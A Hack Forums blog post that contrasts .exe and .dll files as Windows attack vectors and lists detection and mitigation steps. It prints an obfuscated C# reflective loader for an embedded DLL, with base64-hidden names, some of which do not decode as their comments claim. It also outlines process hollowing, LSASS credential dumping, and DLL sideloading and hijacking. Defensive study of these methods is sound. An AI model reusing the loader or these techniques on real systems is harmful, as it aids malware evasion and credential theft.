Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Blog › Py_Dev Threat Intelligence | Ep 1: .exe vs .dll

HF Rulez the UniverseHF Rulez the Universe
Py_Dev
[user@HF:]
Py_Dev Threat Intelligence .Exe .DLL

Py_Dev Threat Intelligence | Ep 1: .exe vs .dll

Posted Feb 25, 2025 09:43 AM
Py_Dev Threat Intelligence | Ep 1: .exe vs .dll

[Image: yMg1VuJ.gif]


When it comes to Windows-based attacks, two of the most commonly abused file types are .exe (executable files) and .dll (dynamic link libraries). While both can execute malicious code, their use cases, detection methods, and attack vectors differ. In this first episode of Py_Dev Threat Intelligence, we break down the key differences between .exe and .dll files, how attackers leverage them, and how to mitigate their risks.

[Image: g3FK62G.gif]

.exe (Executable File)

  1. A standalone application that runs directly when executed.

  2. Requires no additional dependencies to function.

  3. Uses the main() function as its entry point.

  4. Loaded into memory as an independent process.

[Image: exe.png]

[Image: g3FK62G.gif]

.dll (Dynamic Link Library)

  1. A shared library used by multiple applications.

  2. Cannot run independently—must be loaded by an executable.

  3. Uses DllMain() as the entry point when loaded into memory.
    -For Example look a this c# code that loads an embedded .DLL to be executed. This reflectively loads and executes the .dll

    Code
    class Program
        {
            static void Main(string[] args)
            {
              

                byte[] dllBytes = PULL();
                if (dllBytes == null)
                {
                    return;
                }

                Assembly assembly = AppDomain.CurrentDomain.Load(dllBytes);
              

                try
                {
                  


                    string enClass = "fdgsfeesrgsdf==; // nameSpace.Program"
                    string enMethod = "TWFpbg=="; // "Main"

                    string className = Encoding.UTF8.GetString(Convert.FromBase64String(enClass));
                    string methodName = Encoding.UTF8.GetString(Convert.FromBase64String(enMethod));

                    Type programType = assembly.GetType(className);
                    if (programType == null)
                    {
                        return;
                    }

                    MethodInfo mainMethod = programType.GetMethod(methodName, BindingFlags.Static | BindingFlags.NonPublic);
                    if (mainMethod == null)
                    {
                        return;
                    }

                  
                    mainMethod.Invoke(null, new object[] { new string[] { } });
                }
                catch (Exception ex)
                {
                }
            }

    private static byte[] PULL()
            {

                string Systems = "SDfwwdfsduQW51YmlzLmRsbA=="; // "App.Anubis.dll"
                string resourceName = Encoding.UTF8.GetString(Convert.FromBase64String(Systems));

                var assembly = Assembly.GetExecutingAssembly();
                using (Stream stream = assembly.GetManifestResourceStream(resourceName))
                {
                    if (stream == null)
                    {
                        return null;
                    }

                    byte[] buffer = new byte[stream.Length];
                    stream.Read(buffer, 0, buffer.Length);
                    return buffer;
                }
            }

  4. Attackers exploit these differences to evade detection, escalate privileges, or persist in a system.

[Image: dll.png]

[Image: g3FK62G.gif]

.exe-Based Attacks
  • Droppers & Payload Delivery
  • Malicious executables often serve as droppers to download and execute secondary payloads.
    Example: Ransomware droppers disguised as legitimate software.

  • Persistence via Scheduled Tasks & Registry
  • Attackers create scheduled tasks or modify Windows registry keys to ensure persistence.
    Example: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • Process Hollowing
  • Replaces the memory of a legitimate process with malicious code.
    Example: Injecting a backdoor into svchost.exe.

.dll-Based Attacks
  • DLL Injection
  • Injecting a malicious DLL into a legitimate process to evade detection.
    Example: Reflective DLL injection in LSASS.exe to dump credentials.

  • DLL Sideloading
  • Placing a malicious DLL with the same name as a legitimate one, tricking applications into loading it.
    Example: Dropping a fake msimg32.dll in the same directory as a trusted application.

  • DLL Hijacking
  • Exploiting weak DLL search order to execute malicious code.
    Example: Attackers hijack user32.dll to escalate privileges.

[Image: g3FK62G.gif]

Detection & Mitigation Strategies

Detection

🔍 Monitor Process Behavior: Track parent-child relationships between processes to identify anomalies.
🔍 Sysmon & EDR Rules: Configure Sysmon to log DLL and EXE execution paths.
🔍 Hash & Signature Analysis: Verify executable hashes with VirusTotal or a threat intelligence platform.
🔍 YARA Rules: Create rules to detect suspicious DLL injection patterns.

Mitigation

🛡 Application Whitelisting: Restrict execution to signed and verified binaries using AppLocker.
🛡 DLL Safe Load Order: Enforce directory integrity to prevent DLL hijacking.
🛡 Disable Unnecessary Services: Reduce the attack surface by disabling vulnerable processes.
🛡 Memory Scanning: Detect reflective DLL injection with in-memory analysis tools.

[Image: g3FK62G.gif]

Both .exe and .dll files serve as critical attack vectors in modern cyber threats. Attackers often choose between them based on stealth, privilege escalation opportunities, and the specific defense mechanisms they need to bypass. A proactive approach—combining behavioral analysis, endpoint monitoring, and execution restrictions—can significantly reduce the risk of compromise.

[Image: I56l7zY.gif]

Stay tuned for Episode 2...

💻 Py_Dev Threat Intelligence: Stay Ahead, Stay Secure.
RECENT ARTICLES
HF Rulez the Universe